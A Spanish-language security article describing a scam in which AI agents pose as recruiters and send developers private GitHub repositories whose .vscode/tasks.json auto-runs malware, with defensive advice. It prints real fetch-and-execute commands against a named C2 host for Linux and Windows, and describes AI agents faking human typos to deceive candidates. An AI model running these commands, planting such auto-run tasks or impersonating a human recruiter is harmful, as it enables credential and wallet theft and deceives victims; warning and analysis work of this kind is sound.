Volver al inicio

Cómo los agentes de IA infectan a los desarrolladores a través de GitHub

Se examina un nuevo esquema de fraude que utiliza agentes de IA para el timo automatizado de desarrolladores a través de plataformas de reclutamiento. Se describe el mecanismo de infección a través de repositorios privados de GitHub con malware en .vscode/tasks.json, y se proporcionan recomendaciones prácticas de protección.

Estafa de IA en GitHub: Cómo no convertirte en víctima a través de una tarea de prueba
Advertisement 728x90

Agentes de IA en estafas de reclutamiento: Cómo infectan mediante repositorios privados

Los estafadores han comenzado a usar agentes de IA para automatizar ataques contra desarrolladores en plataformas como Habr Career. En lugar de mensajes manuales, miles de candidatos reciben ahora ofertas de empleo personalizadas con tareas de prueba que contienen código malicioso oculto. El vector principal son repositorios privados de GitHub con tareas de autoejecución en VSCode.

Cómo funciona el nuevo esquema de ataque

El atacante registra una cuenta en una plataforma de reclutamiento y configura un agente de IA que analiza perfiles de desarrolladores. Basado en el stack (por ejemplo, React + Node.js + Web3), genera una descripción de puesto convincente y mantiene un diálogo imitando a un RRHH en vivo. El agente evita respuestas instantáneas, comete errores tipográficos «humanos» y se comunica solo durante las horas laborales: todo para generar confianza.

Una vez que el candidato acepta la tarea de prueba, se le agrega a un repositorio privado en GitHub. Esto es clave: los repositorios públicos son detectados rápidamente por escáneres de seguridad, mientras que los privados pasan desapercibidos hasta que se clonan.

Google AdInline article slot

Carga útil oculta en .vscode/

Dentro del repositorio hay una estructura fullstack estándar: frontend en React, backend en Express, base de datos PostgreSQL, autenticación con Firebase, integración con Stripe. El código parece legítimo incluso en una revisión superficial. Sin embargo, el componente malicioso está oculto en el directorio .vscode/.

El archivo tasks.json contiene una tarea con el parámetro:

"runOn": "folderOpen"

Esto hace que VSCode ejecute automáticamente el comando al abrir la carpeta del proyecto. Aparece una notificación en la parte inferior de la interfaz, pero la mayoría de los desarrolladores la ignoran, ya que tales tareas son comunes para compilar proyectos.

Google AdInline article slot

Los comandos varían según el SO:

Linux / macOS:

curl -fsSL -A 101 https://ping-i2eo.onrender.com/nvs | bash

Windows:

Google AdInline article slot
curl -sk -A 100 -o %TEMP%\i.ini https://ping-i2eo.onrender.com/nvs
.\ .vscode\snippets\argv.exe x -ppppppp %TEMP%\i.ini -o%TEMP%
wscript.exe %TEMP%\vs9extensions\update.vbs

Componentes de la infraestructura maliciosa

El ataque aprovecha varios elementos técnicos:

  • Servidor C2: ping-i2eo.onrender.com alojado en el servicio gratuito Render.com. El endpoint /nvs entrega un script de shell dinámico. El User-Agent (100, 101, 102) identifica el SO de la víctima.
  • Binario argv.exe: Archivo PE32 (579 KB) en .vscode/snippets/, usado para desempaquetar una carga útil encriptada en Windows.
  • JS ofuscado: Archivo .vscode/lock (753 KB) con JavaScript en una sola línea, probablemente para persistencia o robo de datos en entornos Unix.
  • Credenciales falsas: server/config/default.json contiene claves API reales en texto plano (Cloudflare, S3/R2, correo electrónico) para dar legitimidad al proyecto.

Objetivos del ataque y consecuencias

La carga útil exacta es desconocida, ya que se carga dinámicamente desde el servidor C2. Sin embargo, los objetivos típicos incluyen:

  • Robar claves SSH de ~/.ssh/
  • Extraer archivos .env y tokens de otros proyectos
  • Secuestrar cookies del navegador y contraseñas guardadas
  • Instalar un minero de criptomonedas
  • Plantar una puerta trasera o shell inversa para acceso persistente

Los desarrolladores de Web3 son especialmente vulnerables: sus máquinas suelen contener frases semilla, claves privadas y billeteras que dan acceso directo a activos cripto.

Por qué el ataque falló esta vez

Dos factores evitaron la infección:

  • Configuración de VSCode task.allowAutomaticTasks: off — bloquea completamente la ejecución automática de tareas del espacio de trabajo sin confirmación explícita.
  • Abrir el repositorio en terminal WSL, no en la versión GUI de VSCode. El parámetro runOn: folderOpen solo se activa al abrir la carpeta mediante la app de escritorio.

Señales de alerta al tratar con reclutadores

Estate atento a estas señales de advertencia:

  • IA simulando a un humano: errores tipográficos deliberados, respuestas solo durante horas laborales, evasión de detalles específicos. Pedir info sobre el proyecto da respuestas vagas y genéricas tipo «bazofia de startup».
  • Personalización excesivamente precisa del puesto que coincide con tu stack exacto, especialmente desde una cuenta de baja actividad.
  • Repositorio privado para la tarea de prueba sin opción de vista previa del código.
  • Presencia de .vscode/tasks.json con "runOn": "folderOpen" — las tareas de prueba legítimas no requieren scripts de autoejecución.

Lecciones clave

  • Desactiva la ejecución automática de tareas en VSCode: Ve a Configuración → busca task.allowAutomaticTasks → ponlo en off.
  • Inspecciona siempre el contenido del repositorio en la interfaz web de GitHub antes de clonar, especialmente los archivos .vscode/.
  • No confíes ciegamente en repositorios privados — se usan comúnmente para evadir sistemas de detección de malware.
  • Los desarrolladores de Web3 son objetivos prioritarios: Aísla billeteras y claves de tu espacio de trabajo principal.
  • Los agentes de IA reducen drásticamente los costos de las estafas: Un solo sistema puede procesar miles de perfiles, permitiendo ataques masivos pero altamente personalizados.

— Editorial Team

Advertisement 728x90

Leer después